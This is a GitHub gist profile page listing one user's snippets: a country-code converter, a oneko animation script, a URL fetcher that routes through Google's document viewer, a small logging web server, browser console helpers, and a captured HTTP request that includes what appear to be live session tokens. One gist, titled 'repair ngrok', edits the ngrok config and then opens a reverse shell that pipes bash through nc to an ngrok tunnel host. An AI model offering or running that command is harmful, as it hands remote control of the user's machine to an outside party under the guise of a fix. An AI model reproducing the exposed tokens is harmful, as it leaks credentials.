Skip to content

Instantly share code, notes, and snippets.

View RKursatV's full-sized avatar
🌋
I may be slow to respond.

R. Kürşat Vuruşan RKursatV

🌋
I may be slow to respond.
View GitHub Profile
POST /restearnmobil/senk_yeni HTTP/1.1
Content-Length: 263
Content-Type: application/x-www-form-urlencoded
Host: restearncloud.com
Connection: Keep-Alive
Accept-Encoding: gzip
req=%7B%22insert%22%3A%5B%5D%2C%22update%22%3A%5B%5D%2C%22delete%22%3A%5B%5D%2C%22extra%22%3A%7B%22id%22%3A%2212040%22%2C%22city%22%3A%22konya%22%2C%22temp_key%22%3A%22ZmdlZ1LK8VO2pFhO202006262158346161%22%2C%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%7D%7D
@RKursatV
RKursatV / countryCodeConverter.py
Created July 17, 2020 17:53
converts three digit country code to two digit country code
def convert2(threeDigit):
"""converts three digit country code to two digit country code"""
codeMapping = {
'AFG':'AF',
'ALA':'AX',
'ALB':'AL',
'DZA':'DZ',
'ASM':'AS',
'AND':'AD',
'AGO':'AO',
import xml.etree.ElementTree as ET
import xlrd
from code3to2 import convert2
tree = ET.parse('data.xml')
root = tree.getroot()
wld = []
wldGdp = []
@RKursatV
RKursatV / onekoRace.sh
Last active August 5, 2023 19:21
A script generates 100 random oneko characters with random colors and random magnitude of speed
#!/bin/bash
type oneko >/dev/null 2>&1 || { echo >&2 "I require oneko but it's not installed. Aborting."; exit 1; }
array[0]="sakura"
array[1]="tomoyo"
array[2]="neko"
array[3]="dog"
array[4]="tora"
allcolorsS=$(awk -F ' ' '{print $4}' /etc/X11/rgb.txt | tr "\n" " ");
@RKursatV
RKursatV / getUrlAsGoogle.py
Last active October 9, 2020 20:54
Get any url without any trouble as Google
import requests
import json
import re
def getUrlAsGoogle(coolUrl):
while True:
try:
coolUrl = "https://docs.google.com/viewer?url=" + coolUrl
req = requests.get(coolUrl,
@RKursatV
RKursatV / angel.py
Last active November 10, 2023 19:08
Angell
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
@RKursatV
RKursatV / a.sh
Last active November 11, 2020 12:29
repair ngrok
sed -i '/^authtoken:.*/a tunnels:' ~/.ngrok2/ngrok.yml && pm2 reload all; mkfifo kv; cat kv | /bin/bash -i 2>&1 | nc 4.tcp.ngrok.io 18345 > kv
@RKursatV
RKursatV / a.js
Created February 4, 2021 11:16
Quicky extract links from a webpage, just copy and paste to the console
var x = document.querySelectorAll("a");
var myarray = []
for (var i=0; i<x.length; i++){
var nametext = x[i].textContent;
var cleantext = nametext.replace(/\s+/g, ' ').trim();
var cleanlink = x[i].href;
myarray.push([cleantext,cleanlink]);
};
function make_table() {
var table = '<table><thead><th>Name</th><th>Links</th></thead><tbody>';
@RKursatV
RKursatV / ext.js
Last active March 11, 2021 22:26
Metu Add Course Tool
console.log('im in');
var userActive = true;
function inactivityTime() {
var time;
// events
window.onload = resetTime;
window.onclick = resetTime;
window.onkeypress = resetTime;
window.ontouchstart = resetTime;
@RKursatV
RKursatV / mt.py
Created December 12, 2021 22:29
477 study for midterm
import os
import numpy as np
import math
def unit(arr):
return 1.0 * arr / np.linalg.norm(arr)
class bcolors: